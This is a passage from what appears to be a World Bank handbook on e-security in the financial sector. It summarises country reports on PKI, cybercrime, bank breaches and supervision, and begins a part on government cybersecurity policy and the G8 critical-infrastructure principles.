In Singapore, the government has been actively involved in endorsing Public Key Infrastructure. The Digital Signature Act of 1999 governs the national PKI with the Ministry of Information Communications holding responsibility. The National PKI designates licensed certificate authorities (CA). There is a mutual recognition of the certificate. The Korean Information Security Agency (KISA) handles more technical issues, including overseeing issues of CA, licensing CA, and conducting research and development for both wired and wireless PKI.

There are currently six, licensed CA's. Due to this variety, certificates are mutually recognized so that customers can engage in diverse financial services with a single signature. Thus, the user of a digital signature is protected legally. However, there are challenges, for example, in the banking industry, there is widespread use of licensed CA's. However, this is not the case in brokerage firms; only 4 of 36 securities firms use licensed CA's. There are two reasons for this:
1) Online trading started in 1997, 2 years prior to the enactment of the Digital Signature Act. Thus, users are comfortable trading online in the absence of a licensed CA.
2) The use of CA delays the securities transaction and customers do not want the inconvenience and potential loss associated with delayed trades.

However, a recent incident in Korea has altered the e-security landscape in the context of online trading. In August, several brokerage firms found dormant brokerage accounts. They placed buy-orders for US $20 million, buying stocks from institutional investors that were also part of the scheme. As a reaction, security measures have been augmented. Licensed CA's will become mandatory at a faster rate than originally conceived. On December 1, 2002, private certificates will no longer be allowed. As of September 1, 2002, only licensed certificate authorities (LCA's) can be used. By May 2003, all certificates must be licensed. In online trading, it will be mandatory for all large brokerage firms to use licensed CA's by November 2002, and all small firms by January 2003.

In the spring of 2003, Singapore will publish Technology Risk Management Guidelines. Their efforts are guided by international efforts and best practices in industry, based on a series of informational meetings between banks, industry participants, and government officials. One of the key questions for Singapore, which has a single regulator to enforce compliance to standards, is how a larger nation, like the U.S., deals with standards enforcement when faced with a much larger number of regulatory agencies.

Philippines

The Philippines discussion focused on ramifications of three possible trends as an indication of the growing threat of cyber crime. These are the dissemination of viruses (e.g. "I Love You"), the continuing battle against credit card company fraud, and, 9/11. Though 9/11 occurred in the U.S., the Philippines use this example to demonstrate their government's measures to protect national financial institutions.

In the Philippines, the spread of the "I Love You" virus prompted immediate regulatory actions. This incident was important because it exposed weaknesses in both the public and private sectors. The government responded by passing e-commerce laws and cyber-strategy laws. Furthermore, it exposed the capacity of law enforcement to understand and respond effectively to technology-driven incidents. A program on computer security training was launched for law enforcement personnel.

Credit card fraud has proven to be a challenging area for the Philippines (and elsewhere). The country is home to 2-3 million credit card holders, approximately 17 issuing banks, and supports many millions of business transactions a year. It is estimated that approximately 400 million pesos (roughly equivalent to US $8 million) of lost revenue are attributable to credit card fraud. ATM cards are also in widespread use, with approximately 10 million cardholders.

Third, 9/11 pushed banks to reach out to other countries in order to seek international cooperation on the topic of e-security.

As with other locations around the world, in the Philippines e-finance is still in the early stages of development. Of the 8 recommended pillars in E-Security: Risk Mitigation, the Philippines has incorporated the legal framework and enforcement, public private cooperation, and improving law enforcement capabilities. The Philippines still needs law enforcement experts, including special courts comprised of expert panels. Other areas of need include information databases and education to all stakeholders, including consumers, corporations, and vendors.

The Philippines had two main questions: 1) To what extent has the United States addressed trade-offs between reporting and protecting reputations? and 2) What is the state of international enforcement on cyber crime laws?

Sri Lanka

Sri Lanka began by providing a background on the of e-finance, discussing its limitation on account of penetration of Internet users and awareness among users on e-security. Sri Lanka believes telecom expansion issues will be resolved in the near term. The problem with awareness is that it does not exist at the Board level. Thus, it is difficult to gather support for issues such as expansion of connectivity. Among customers, there is an additional lack of awareness on how secure online transactions can be. As a result, trust is low among customers and they are reluctant to engage in online transactions. Instituting guidelines and frameworks for service providers can help generate confidence in the customer base.

Sri Lanka's question concerned Internet Service Providers. They asked whether there were policy guidelines or frameworks for e-security regulation for ISPs? They also requested information about the Korean security agency, and whether it was private or national and what role(s) they support.

Bulgaria

Bulgaria's bank services were established in 1989, with a culture similar to that in the United States and Europe. Recent developments include the establishment of a payment system and software packages specifically for the commercial banking industry. One such example is BANKNET. Bulgaria approaches e-security by asking fundamental questions about what must be protected. They identify the critical elements as the physical network, internal information systems, applications, and data protection, specifically, data exchanges between banks and clients.

From an organizational standpoint, Bulgaria has an Internal Commission who is responsible for analysis and recommendations. The establishment of e-security policies requires monitoring and supervision of networks and applications, including up-to-date software and hardware, and lists of concrete, specific actions. Bulgaria identifies e-security of payment systems to be extremely critical. Supervision and prevention changes include education, which is a critical component of their security planning. They note that they need work on legal frameworks and enforcement, including legal and technological conventions between the various network participants.

In Bulgaria, there is a legal framework on e-signatures, which also includes an e-document law, regulation of certificate authority activities, and requirements for advanced e-signatures. Currently, the bank would like to establish a common PKI. Banks may become the CA within the common PKI for specific applications; though there is a need for flexibility in their layers and uniform technologies for interbank systems. Bulgaria also has an issue with security policies - they must define reliability, as well as business requirements. E-signatures are not simple to implement on many applications. The key facets in Bulgaria's payment systems are vendors, reliability, and price. There is a demilitarized zone for bank services, which includes the gateway for all Internet facing applications, and firewalls. Through BANKNET, Bulgaria has strict access from the Internet to the network. Most attacks occur on websites and e-mail servers because they face the Internet. Behind the firewall, there is much scrutiny over bank services and interbank applications.

In Bulgaria and elsewhere, central banks are building legal frameworks on electronic payment systems, which consists of new regulation on payments and national payment systems. This establishes a legal basis for the numerous national payment systems, which include central depository payment systems and bankcard payment systems, among others. Bulgaria finds that the currency policy presents a challenge, as the conditions are difficult for attaining a legal balance. They ask about the role that payment systems oversight must play in communicating e-security of payment systems. They ask whether laws should be flexible and soft on cooperation, or whether should there be more stringent oversight of the system. Brazil and South Africa have a stringent approach on surveillance and oversight on payment systems; they are aiming to design an efficient and competitive system. In some areas, regulation can become a de facto monopoly in provisions of retails systems and careful consideration of regulations and third party operators must include an assessment of how the technology will affect the retail system.

Conclusion

In conclusion, all participating nations identified the need for further cross-border educational and training efforts in the area of e-security. At The World Bank, the Integrator Unit is recognized for its dedication to providing best practices reports and seminars on electronic risk mitigation.

Global Dialogue 2003 "Electronic Safety and Soundness"[104]

This session stressed the importance of addressing e-security issues in a global context, particularly since the risks in emerging markets are growing at a dramatic rate. Security issues are exacerbated by the irregularity in press reporting; between hype and conjecture, much of the information regarding electronic safety is inaccurate. Meanwhile, worms, viruses, and other types of electronic threats are taking a toll on critical infrastructures around the world.

The problem of e-security is compounded by a shortage of trained information security teams, a lack of sound governance procedures, and emerging technologies including mobile communications. The information technology (IT) backbone is growing at a rapid rate, and as cyber threats and vulnerabilities rise with equal rapidity, trillions of dollars are put at risk. The purpose of the Global Dialogue is not to ask why security breaches occur, but to ask what can be done to curb the problems.

E-Security Risk Mitigation: Soft and Hard Infrastructure Combined

E-security may be defined as "any tool, technique or process that protects a system's information assets from threats to confidentiality, integrity, or availability." E-security is composed of two infrastructures: a soft infrastructure that includes policies, procedures, processes, and protocols, and a hard infrastructure that includes hardware and software. An increased reliance on technology escalates the potential for e-security threats. As we have seen in previously, attacks are taking place more frequently and are often launched as blended threats, which are difficult to disarm. The speed and tenacity of the hacking community is growing quickly, due in part to activities of organized crime and terrorists.

The task of deploying effective e-security programs is a significant challenge for several reasons:

First, e-security efforts tend to be reactive rather than proactive; this approach should be changed to a continuously proactive effort to combat present and future threats.

Second, cooperation on international issues is critically important, particularly for supervisors and law enforcement agencies. However, even in a single country, intra-agency cooperation can become a complex endeavor.

Third, incident reporting is a serious obstacle to understanding the scope of the threats facing us today, as there is still considerable reluctance to expose security breaches.

Fourth, in tandem with reluctance to report security incidents, response times to breaches lag in many e-security efforts.

Finally, personnel issues remain central: it only takes one naive user to compromise the integrity of an entire network. Increased awareness of the threats is necessary. Ultimately, e-threats will create a loss of public confidence in communication technologies if they are not handled correctly. Bearing that in mind, several steps should be taken to further progress e-security efforts:

First, regulators, financial institutions, and other market participants should determine and contribute to the dissemination of best practices in IT security.

Second, collaboration should become commonplace, particularly with respect to resolving the key security threats facing organizations and the consumer-public.

Third, security personnel and auditor training should be a top priority in commercial and government practice. The definition and containment of operational risk should include the various forms of cyber-risk, in addition to the traditional forms of physical and information risk.

[104] This session was conducted by The World Bank, Integrator Group Members: Thomas Glaessner, Tom Kellermann, Valerie McNevin, Yumi Nishiyama and Shane Miller, with commentary from Global Dialogue Participants including Brazil, Chile, Colombia, Mexico, Saudi Arabia, Ukraine, Australia, Beijing China, Hong Kong China, Malaysia, Philippines, Singapore, and Sri Lanka.
See http://wbln0018.worldbank.org/html/FinancialSectorWeb.nsf/SearchGeneral?openform&E-Security/E-Finance&Presentations for original documentation of these sessions.

Supervision of Information Security and Technology Risk

While the IT sector grows beyond the bounds of local talent capacity, outsourcing has become a major trend. International outsourcing, in particular, has taken off, a situation that creates both problems and opportunities for organizations worldwide. Recent efforts to mitigate e-threats include a proposed guidance requiring banks to develop a response program for protecting against threats to customer information that is maintained by the bank or its service providers. The components of such a program would include procedures for notifying customers about any incidents of unauthorized customer information disclosure that could result in substantial harm or inconvenience to the customer.

In spite of fairly complex policy and procedure initiatives, security continues to take a backseat to ease of use. Therefore, continued education, training, and vigilance are crucial for augmenting contemporary security efforts. Some emerging security areas that warrant additional attention include: vulnerability assessment, penetration testing, intrusion detection systems (IDS), and forensics.

Mobile Technologies: New Rewards and New Risks

In 2002, Global System Mobiles (GSM) had approximately 787 million users worldwide. Wireless is growing at a rate three times faster than that of landlines. GSM is just as susceptible as other transmissions technologies to contract malicious code, such as Trojan horses, e-mail viruses, and denial of service (DOS) attacks. In the hostile environment of the Internet, wireless is the "Achilles heel of security." Often, the wireless connections are the weakest link in the security chain. The GSM vulnerabilities include SIM-Card vulnerability, SMS bombs, WAP vulnerabilities, and what is commonly referred to as the "man in the middle" attacks.[105]

Although it is not possible to secure the GSM technologies completely, there are several easy steps which users are encouraged to strengthen their resistance to attack, user should: 1) enable a power-on password, 2) install anti-virus software, 3) install a personal firewall along with robust encryption (e.g. S/MIME), 4) ensure that devices are stored securely and that the desktop applications mirroring software is password protected, and 5) virtual private network (VPN) software should be installed. In the smart card context, third parties should not handle PIN numbers.

Country Presentations

In the course of the global dialogue, each of the participating countries were asked to answer the following three questions:

1. What trends do you see with regard to e-security incidents? What are the largest challenges/vulnerabilities (e.g., identity theft, denial of service/systems access, money laundering over the Internet, other forms of electronic fraud, etc)?
2. At present, what processes are your financial institutions following to mitigate electronic security risks and what changes in supervision process are you considering?
3. How could the multilateral institutions, in coordination with other supervision agencies and the EBG, best assist you?

Brazil

The representative from Brazil noted that competition drives companies to implement high technology, but these technologies tend to be vulnerable. There is a trade-off between the costs of the services and frauds. With respect to supervision, examination techniques in Brazil are increasing in effectiveness.

In answer to how multilateral institutions can best assist Brazil, they respond that they would like assistance with: training examiners, creating security methodologies and standards, and creating security models and minimum bank regulations.

[105] In this type of attack, a modified cellular phone acts as a rogue base station for other cellular phones, therefore given the ability to steal information over the air. Information is naked at the Gateway, leaving a massive vulnerability to users and their information.

Questions:
Brazil asked how they can create a legal framework to deal with crime, especially considering that the dynamic nature and the rapid pace of technology make legislating problematic.

Reponses:
In response, a representative from Singapore suggested instituting tough penalties, as well as updating laws on a regular basis. To take Singapore's example, laws such as the Computer Misuse Act have proven to be beneficial in clarifying what computer crime is and reducing its appeal for casual hackers.

A representative from Infragard, FBI, stated that this is a social phenomenon across all boundaries. In some cases, perpetrators do not realize the severity of the crimes they are committing, and in fact, some people may not consider computer crimes "crimes" at all. Moreover, banks tend to perpetuate a "myth of safety." More public recognition of the risks in e-finance and e-commerce is necessary, as shielding the data on security incidents only exacerbates the problem. In particular, there is a tremendous problem with the cross-border nature of e-crime, including cyber hacks and bank site alterations. As a result, international collaboration is necessary.

México

In response to the question concerning trends in e-security incidents, Mexico noted that PIN numbers are increasingly accessible via the web, making it a large risk. However, they are making a substantial effort to mitigate e-risk; financial institutions have strong monitoring capabilities and there are many security and monitoring companies with expertise in IT security. In addition, Mexico has adopted the BASEL recommendations for technology risk management.

On the question of how multilateral institutions can assist Mexico, they recommend a global information exchange among multiple agencies order to share incidents, assessments, and risk mitigation needs.

Question:
Mexico inquired about the depth about Singapore's guidelines.

Response:
The general security practices of Singapore can be accessed online.[106] The Guidelines include 26 practices that range from the operating system (OS) level, patches, roles and responsibilities, anti-virus software, firewalls, and so on.

Colombia

The representative from Colombia stated that the security challenges they face are the same as those faced by all countries, yet Colombia feels ill-prepared. At the present time, Colombia has no standard for incident response. There is no Computer Emergency Response Team (CERT). Colombian clients are liable for cyber incidents. Identity theft is rising. Bank cards are being cloned. There is no privacy regulation. Risk mitigation is an auditor problem. PKI and smart cards are used, but e-security for banks seems to be an abstraction. Unfortunately, employees do not generally care about security practices and security is not ingrained into the banking culture in Columbia. Keeping up to date is a huge problem.

In this context, there is clearly a role for multilateral organizations. For example, UNCITRAL is a model law for computer crime, vandalism, privacy, denial-of-service, and transnational issues. Model laws should be based upon civil law rather than common law.

Question:
Colombia inquired how does one raise the integrity of security within financial institutions, especially with cost-benefit considerations. Liability and risk management are fundamental concerns, especially with respect to customers.

Responses:
Collaboration is necessary because of jurisdictional issues, even in identifying the location of the loss

[106] http://wbln0018.worldbank.org/html/FinancialSectorWeb.nsf/(attachmentweb)/Singpore_TRMguidelines28Feb03/$FILE/Singpore_TRMguidelines28Feb0
[107] All banks are a part of the National Bank system.

associated with a cybercrime incident. To begin with, cross border standards should be adopted so that a common language can be used to describe the problems and set up a plan for their mitigation. As an example, there has been difficulty with defining "fraud" within the EU. One example of a cross-border organization working in this area is the Financial Action Task Force (FATF), which deals with anti-terrorism and money laundering.

Ukraine

Following the Ukraine's independence, there was a re-organization of the bank system that included new technology practices, such as electronic transfers. Security technologies such as e-signatures and cryptography are headed by National Banks.[107] Since independence, e-signatures and e-transfer laws have been adopted. While there have been several attempts at cyber intrusions into banks, there have been no reported financial losses.

On the regulatory front, the Ukraine signed the cyber crime convention in 2001 and the country does prosecute for computer misuse. In addition, Parliament has been considering a draft on personal data protection. There are provisions of cyber crime in the criminal code, however, the laws are limited in their effectiveness because they require proof that the offense was intentional. In this regard, the lack of forensics becomes a key issue, as preserving evidence of intentionality is highly problematic. There must be training for security staff and law enforcement personnel on handling evidence.

Question:
The Ukraine's primary question concerned responsibility and liability, especially with internal monitoring and reporting efforts. Incident reporting by bank employees, for example, is critical to creating a more secure banking environment. To help incident response capabilities, there is a CERT in the Ukraine.

Response:
On the issue of evidence, it is noted that electronic data perishes quickly and there is no standardization for handling forensic evidence in cases of computer crime. Though there is a clear need for digital forensics guidelines, there are no standardized methods accepted by the courts currently.

Australia

Australia adopted and implemented the BASEL 2 to categorize the loss of information. However, they have found that increased use of intrusion detection systems has been difficult to justify with so many false positives and misconfigured systems. New technologies are built upon old technologies, thereby increasing the complexity and interdependent nature of the system. At the same time, the system may not be well documented. Learning about system interdependencies is critical, but resources remain limited. Australia points out that free educational downloads are available to the public on this particular topic.

Australia makes three key points.
First, Cyber-Crime legislation will exist in all APEC by October 2003. This cyber crime legislation includes e-fraud and cross-border electronic law enforcement.

Second, Law Enforcement education and cooperation is needed across all borders. There will be a compendium of IT development standards. APEC cyber-security will address wireless, and will conduct a study on risks of technologies such as Wi-Fi.

Third, Computer Emergency Response Teams will exist in all APEC countries by October 2003.

China, Beijing

The representative from China explained that there is an overall need to raise public awareness about the e-security situation and more external assessments are required. Some of the challenges faced by China in e-security include a lack of risk awareness and risk management ability, especially considering the complex nature of technological practices in e-security. This problem is exacerbated by the lack of cooperation among regulatory and supervisory bodies.

While the security front is uneven, Internet banking is growing rapidly in China; between 1999 to 2003, the number of Internet banks has grown from 1 to 27, and the volume of banking transactions has increased over a hundred-fold. It was noted that during the recent SARS epidemic, Internet banking surged in popularity.
China makes the following suggestions:

1) Encourage information sharing on a domestic and international level;
2) Establishment of international e-security standards;
3) Enhance transparency in e-Banking.

China, Hong Kong

In Hong Kong, spoofed e-mails are very common, as are viruses and worms. Concurrently, there is a change in the behavior of criminal syndicates. Instead of directly targeting banks, they are now targeting the weakest link, the customer. In this regard, customer education is critical.

A recent incident of a fraudulent bank website illustrates the security problem. One bank website generated particular concern, as the URL was an incomplete Hong Kong address and no digital certificate existed for the website. The fraudulent website claimed the bank had offices in New York and elsewhere, but upon investigation, it was determined that the bank website, as well as the bank itself, were fraudulent. The website was hosted in China. This incident illustrates the critical need for cross-border cooperation and is especially true as criminal syndicates conduct cross-border crimes. The HKMA is taking initiatives to enhance the supervisory framework, including customer education, and disseminating leaflets to inform the public on critical e-security issues and tips for combating crime.

To further enhance e-security supervision, the HKMA is in close relations with domain registrars. Hong Kong employs an automated process to screen local domain names (.hk). If the word "bank", "banque", or any other form of the word is used in a domain name, it is immediately referred to the HKMA. Additional intra-country cooperation exists with the Hong Kong Police force, CERT, and the government to set up industry wide incident responses. The Supervisory Control Self-Assessment (CSA) includes 70-80 banks, though since a yearly review is difficult, it is an automated assessment.

Republic of Korea

While the Republic of Korea was unable to participate in the Global Dialogue, they submitted their response to the questions posed by the World Bank. They note that while Korea possesses highly advanced information networks, their security level could be improved. In Korea, 65% of total stock transactions occur online and approximately 25 million people use the Internet. Recent incidents, such as the January 2003 Slammer worm, have had serious effects in Korea and illustrate the fragile nature of the networks.

Korea provided statistics to convey the existing low level of awareness on systems security. According to the Ministry of Information and Communication, only 12.9% of e-commerce companies, 16.7% of academic institutions, and 9.2% of corporations had information security teams. Korea noted that e-security tends to be considered a cost, which may only be addressed given sufficient resource and time. As an example, a relatively small fraction of (12.9%) of e-commerce companies, and 6.1% of all companies, have installed intrusion detection systems (IDS).

Sri Lanka

The representative from Sri Lanka explained that threats such as worms and wireless vulnerabilities exist, but Sri Lankan authorities have not heard of any attacks on their banks. There have been no publicized or reported threats to the banking systems. Sri Lanka has had ATMs for 20 years. While e-banking is still in its infancy, its popularity is growing rapidly. The public may purchase stocks online, but again, such capabilities are in their early stages. In Sri Lanka, leapfrogging is proving to be the biggest issue at the present time. For financial institutions, awareness is the key and examiners must assess risks accurately.

Cyber Security in the Singapore Financial Sector

Tony Chew, Director of Technology Risk Supervision at the Monetary Authority of Singapore (MAS) provided a glimpse of Cyber Security initiatives in Singapore. He opened by saying that the Monetary Authority exists to "Inform, control and pressure institutions." Singapore is trying to be a financial hub, and therefore IT is an extremely important issue.

Two of Singapore's largest banks were attacked by hackers in 2001 and 2002, illustrating the urgent need for electronic risk mitigation practices. In 2001, the largest bank in Singapore, the United Overseas Bank Ltd. (UOB), discovered an intrusion into its Internet banking system. While much of the information concerning the incident remains confidential, it is known that hackers from Eastern Europe attacked the bank's online system. Bank records were probed and penetrated, and the bank's system was manipulated in order to update customer accounts. Not only did it take several months for the bank to detect the problem, but it proved labor-intensive and costly to find out who/what caused the problem.

In 2002, another attack took place on Singapore's second largest bank, DBS Bank. In this incident, networking sharing capabilities and inadequately configured systems enabled hackers to target customer systems. The hackers planted Trojan horses and key-stroke loggers into 21 DBS customer accounts, allowing them to capture personal identification numbers (PIN) numbers and user identification numbers. While this incident resulted in a relatively low monetary loss of USD $62,000 from customer accounts, it is important to note that the greater loss occurred in the negative publicity resulting from the breach. Newspapers ran stories concerning the attack for an entire month, ultimately, such incidents could lead to a crisis of confidence in online banking.

One critical point of weakness that may have contributed to these incidents is the common use of single factor authentication. As an example, most ATM machines use very basic authentication measures, though that it will only take one or two more large break-ins to make banks reconsider their overly simple authentication processes. There is also an over-reliance on Secure Sockets Layer (SSL) technology; SSL is very limited because it only protects channels during transmission, and not end-to-end. Databases and other storage units must be encrypted at all times to ensure security. Strong cryptography is required end-to-end and PIN numbers, for example, are done in a crypto box so that they are never in the clear. However, even then, PINs are not protected enough, because they are short, and can easily be captured by hackers.

The MAS created a "Technology Risk Management Guidelines for Financial Institutions." These Guidelines contain 26 recommendations for layered security. Three core themes in the Guidelines include: 1) establishing a robust risk management process; 2) strengthening system availability, security, and recoverability; and, 3) deploying strong cryptography to protect data.

In addition to technological policies, the MAS requires banks to conduct on-site evaluations and penetration tests at least once per year. The MAS has a Technology Risk Assessment Team, as well as its own rating system for banks within the Singaporean system. The rating is based upon 6 criterion established by the MAS. It consists of a scale ranging from 1 to 5, with 1 being the most secure, and 5 being least secure. Banks are required to maintain at least a level 2 grade of satisfactory. They are also expected to have rapid recovery plan for their systems. The ratings information is published to banks as an incentive for improving their security initiatives, and promoting a sense of standards. Additionally, banks are required to report any security incidents.

With the increased use of mobile payments, wireless vulnerabilities must be addressed; security practices in wireless banking are monitored in Singapore currently.

Concluding Questions and Comments

The final comments and questions outlined key themes dominating the Global Dialogue.

First, information and awareness plays a critical role in educating the public on existing e-security needs. Government mandates such as suspicious activity reports are only useful when they are put into practice.

Second, information disclosure and transparency are important for improving the systems of the future. It was noted that incident cover-up is damaging because customers will go to the press. Instead, companies should rectify the situations immediately – addressing the problem directly with a plan of action is a better response to a security breach. Clearly there is a question of how much to disclose and when to disclose it, some guidelines for handling security incidents are offered in other parts of this Handbook.

Third, most participating countries stressed the need for cross-border cooperation. One area of potentially fruitful collaboration lies in the use of certification programs. In this area, agencies should work with the software community in order to define the security needs of each sector. The EBG is one example of a network of communications and outward dissemination and InfraGard, a public-private cooperative organization in the Federal Bureau of Investigation (FBI), is another. InfraGard includes all critical infrastructures, and approximately 10,000 members. The purpose of this organization is to generate trust, and to encourage information sharing among members. It is an example of how bridges must be created in the field of IT security.

Fourth, roles and responsibilities in the matter of e-security liability must be established; fulfillment of fiduciary duty and maintaining a standard of care are very important for e-finance entities. The issues involved are deposits, public trust, and confidence in the financial system.

Finally, outsourcing was a major concern among participants. One example of the problems associated with outsourcing took place in 2001 where a hosting company in the United States was hacked, resulting in a security compromise of over 300 banks. In closing, it is critical for regulators and supervisors to re-evaluate their regulatory umbrella, particularly in the case of third party money transmitters, such as hosting companies; further details on outsourcing may be found in this Handbook and other references cited in the Bibliography.

PART FOUR

INFORMATION SECURITY AND GOVERNMENT POLICIES

CHAPTER 1.
INTRODUCTION

As in other areas affecting the Internet, government policy has an important role to play in the promotion of IT Security. There is a paradox, however: a sound public policy framework can enhance security, but ill-considered government regulation can do more harm than good. Technology is changing so rapidly and new cyber threats are emerging with such swiftness that government regulation can become a straitjacket, impeding the development and deployment of innovative responses. It is important therefore to achieve the right balance of regulatory and non-regulatory measures. In seeking that balance, policymakers should appreciate some defining characteristics of the Internet. Compared with earlier information and communications technologies, cyberspace is uniquely decentralized. The Internet's power comes in part from the fact that it has no gatekeepers. Most functionality is at the edges rather than at the center of the network. Government cyber-security policies must take into account these features of the Internet. Within this context, there is a range of steps governments can take to improve computer security, without interfering with technical design decisions.[108]

While the picture varies from country to country, in most countries some or all components of the communications network and many of the critical infrastructures based on computer systems (banking, transportation, energy, manufacturing, etc.) are owned and operated by the private sector. Therefore, much of the responsibility for ensuring the security of these systems lies with the private sector.[109] However, these systems are critical to the national well-being and are interdependent in ways that implicate broader public interests and justify government attention. Also, of course, the government has its own computer systems, including those that are crucial to national security, emergency services, health care, and other critical functions. These systems, in turn, often depend in part on privately owned communications networks. By and large, many of the computer systems of private companies and government agencies rely on the same hardware and software, designed and built by private companies. Thus, the picture is one of mutual interdependencies.

For all of these reasons, responsibility for computer security is shared between the government sector and the private sector. As a first priority, the government has a responsibility to "get its own house in order" – that is, to implement sound security practices for its own systems. In addition, it is universally recognized that the government should use the power of the criminal law to punish and deter intentional attacks on private sector as well as on government computers. Beyond that, a growing number of governments are concluding that they must undertake additional responsibilities to promote sound computer security practices in the private sector. The challenge is to adopt government policies that maximize the benefits of government involvement without stifling innovation through overbearing regulation and technology mandates. Within a framework of partnership, the solution can be found in a balanced approach that includes:

- Market forces that encourage private enterprises to address the security of their computer systems in order to protect their profitability;
- The government's research and awareness-building functions;
- Computer crime laws protecting both government and privately-owned computers and networks;
- Traditional concepts of legal liability translated to the computer context; and
- Laws, regulations, and government policies that are specifically focused on promoting computer security.

The issue of cybersecurity policy can be viewed as one component of the larger issue of the role of law in fostering trust online. Creating an environment of trust in cyberspace requires the adoption of laws and government policies in other areas in addition to cyber-security. These other areas include consumer protection, data and

---

[108] The following discussion draws upon the detailed surveys compiled by the American Bar Association's Privacy & Computer Crime Committee: Jody R. Westby, ed., *International Guide to Combating Cybercrime*, American Bar Association, Section of Science & Technology Law, Privacy & Computer Crime Committee, 2003 (Westby Guide), http://www.abanet.org/abapubs/books/cybercrime/; Jody R. Westby, ed., *International Strategy for Cyberspace Security,* American Bar Association, Section of Science & Technology Law, Privacy & Computer Crime Committee, 2003 (Westby Strategy). See also *International Critical Information Infrastructure Protection Handbook*, edited by Andreas Wenger, Jan Metzger and Myriam Dunn, Center for Security Studies and Conflict Research, Swiss Federal Institute of Technology (2002) http://www.isn.ethz.ch/crn.

[109] In some countries, privatization is quite recent, meaning that operators, regulators and policymakers are struggling with the new problem of security at the same time they are grappling with the full range of transitional problems associated with privatization.

communications privacy, intellectual property rights, and the framework for e-commerce. In the offline world, the law weaves a web of rules and protections around commercial and consumer transactions. Much of that same law applies to cyberspace, but countries seeking to promote development of ICT need to assess whether there are gaps in their laws that fail to promote trust in ways that are special to cyberspace. Indeed, countries eager to promote e-commerce may find that their laws for financial services, intellectual property, and consumer protection do not provide sufficient confidence or protection for offline transactions. The process of cyberlaw reform may occur as part of broader legal reforms. This Handbook focuses on those laws and policies that directly concern attacks on computer systems, leaving to other resources (some of which are cited in Part 3 and the Annexes) the questions of the broader enabling framework for ICT and e-commerce.[110]

This Part, while it discusses initiatives taken in developing and transitional countries, focuses in some detail on the programs and policies adopted by the most highly developed countries and by multi-national organizations. To a large degree, this is where the action has been to date. However, this focus on resources and models from developed countries and international bodies should not deter "the rest of the world." It is important that all countries develop, promote, and implement the necessary framework for e-security. The budgetary and human resources available are of course different, and developing countries may have to approach the issues at a more basic level, but the principles outlined here are global in relevance. Cyberspace and cyber-insecurity are not limited by state boundaries.

The Concept of Critical Infrastructures

In a number of countries, the development of government responses to the problem of computer security has been conceptualized in terms of "critical infrastructures." A critical infrastructure is some network of physical assets and operating systems that serves a function of critical importance to the economic or governmental well-being of a country. The financial services network, for example, is a critical infrastructure, consisting of all the private banks, the central bank, the securities exchange and commodities markets, the payment clearinghouses, and other entities involved in the flow of money and credit. In virtually every country in the world, these functions are dependent upon computers. The transportation network is another critical infrastructure, consisting of roads, bridges, canals, railroads, and airports. The transportation infrastructure is largely physical and mechanical, but it too is increasingly dependent on computers to operate traffic lights, to open and close bridges, to switch trains, and to control air traffic.

There is no common definition of critical infrastructure categories, and the list of "critical infrastructures" used by policymakers varies from country to country and from time to time. The U.S. government cyber-security strategy issued in February 2003 identifies thirteen critical infrastructure categories: 1) agriculture; 2) food; 3) water; 4) public health; 5) emergency services; 6) government; 7) defense industrial base; 8) information and telecommunications; 9) energy; 10) transportation; 11) banking and finance; 12) chemicals and hazardous material; and 13) postal and shipping.[111] By comparison, Canada's critical infrastructure protection strategy uses only six categories: 1) communications; 2) government, 3) energy and utilities; 4) services (within which Canada includes financial services, food distribution and health care); 5) safety; and 6) transportation.[112] How a country defines "critical infrastructure" is not as important as the recognition of the concept itself.

The concept of critical infrastructures is important for several reasons. First, it can help crystallize why computer security is important: policymakers may better grasp the cyber-security problem if they understand that money will be frozen in banks, trains will not be able to leave their stations, and drinking water will not be pumped if certain computers fail. Second, infrastructure categories are important insofar as they help define lines of responsibility and communities of shared interest that need to work together to improve security. For example, the electric

PART FOUR

[110] The Global Internet Policy Initiative has a host of resources on the full range of policy issues affecting ICT development: http://www.internetpolicy.net.
[111] *The National Strategy to Secure Cyberspace* [United States], February 2003 http://www.whitehouse.gov/pcipb/; http://www.dhs.gov/interweb/assetlibrary/National_Cyberspace_Strategy.pdf.
[112] Office of Critical Infrastructure Protection and Emergency Preparedness [Canada] http://www.ocipep.gc.ca/home/index_e.asp. For descriptions of how various other countries have responded to critical infrastructure protection, see "International Critical Information Infrastructure Protection Handbook," edited by Andreas Wenger, Jan Metzger and Myriam Dunn, Center for Security Studies and Conflict Research, Swiss Federal Institute of Technology (2002) http://www.isn.ethz.ch/crn.

power industry and its government regulators can work together to good effect in addressing computer vulnerabilities of the electric power system. Computer security measures, including the identification of best practices and the sharing of information about vulnerabilities, can, to some extent, be developed and implemented within the context of existing institutions created along industry lines. In the private sector, these institutions include trade associations, standards bodies, and other self-regulatory bodies for various industries. On the government side, many nations implement their cyber-security policies through existing ministries and regulatory agencies that were created along sectoral lines many years ago (such as those that have traditionally regulated the banking, telecommunications, and energy sectors).

Currently there are a number of broad initiatives to stimulate a greater degree of cross-border cooperation in these areas. For example, in May of 2003, the G8 adopted eleven principles to consider when developing a strategy for reducing risks to critical information infrastructure:
(See http://www.cybersecuritycooperation.org/documents/G8_CIIP_Principles.pdf.)

I. Countries should have emergency warning networks regarding cyber vulnerabilities, threats, and incidents.
II. Countries should raise awareness to facilitate stakeholders' understanding of the nature and extent of their critical information infrastructures, and the role each must play in protecting them.
III. Countries should examine their infrastructures and identify interdependencies among them, thereby enhancing protection of such infrastructures.
IV. Countries should promote partnerships among stakeholders, both public and private, to share and analyze critical infrastructure information in order to prevent, investigate, and respond to damage to or attacks on such infrastructures.
V. Countries should create and maintain crisis communication networks and test them to ensure that they will remain secure and stable in emergency situations.
VI. Countries should ensure that data availability policies take into account the need to protect critical information infrastructures.
VII. Countries should facilitate tracing attacks on critical information infrastructures and, where appropriate, the disclosure of tracing information to other countries.
VIII. Countries should conduct training and exercises to enhance their response capabilities and to test continuity and contingency plans in the event of an information infrastructure attack and should encourage stakeholders to engage in similar activities.
IX. Countries should ensure that they have adequate substantive and procedural laws, such as those outlined in the Council of Europe Cybercrime Convention of 23 November 2001, and trained personnel to enable them to investigate and prosecute attacks on critical information infrastructures, and to coordinate such investigations with other countries as appropriate.
X. Countries should engage in international cooperation, when appropriate, to secure critical information infrastructures, including by developing and coordinating emergency warning systems, sharing and analyzing information regarding vulnerabilities, threats, and incidents, and coordinating investigations of attacks on such infrastructures in accordance with domestic laws.
XI. Countries should promote national and international research and development and encourage the application of security technologies that are certified according to international standards.

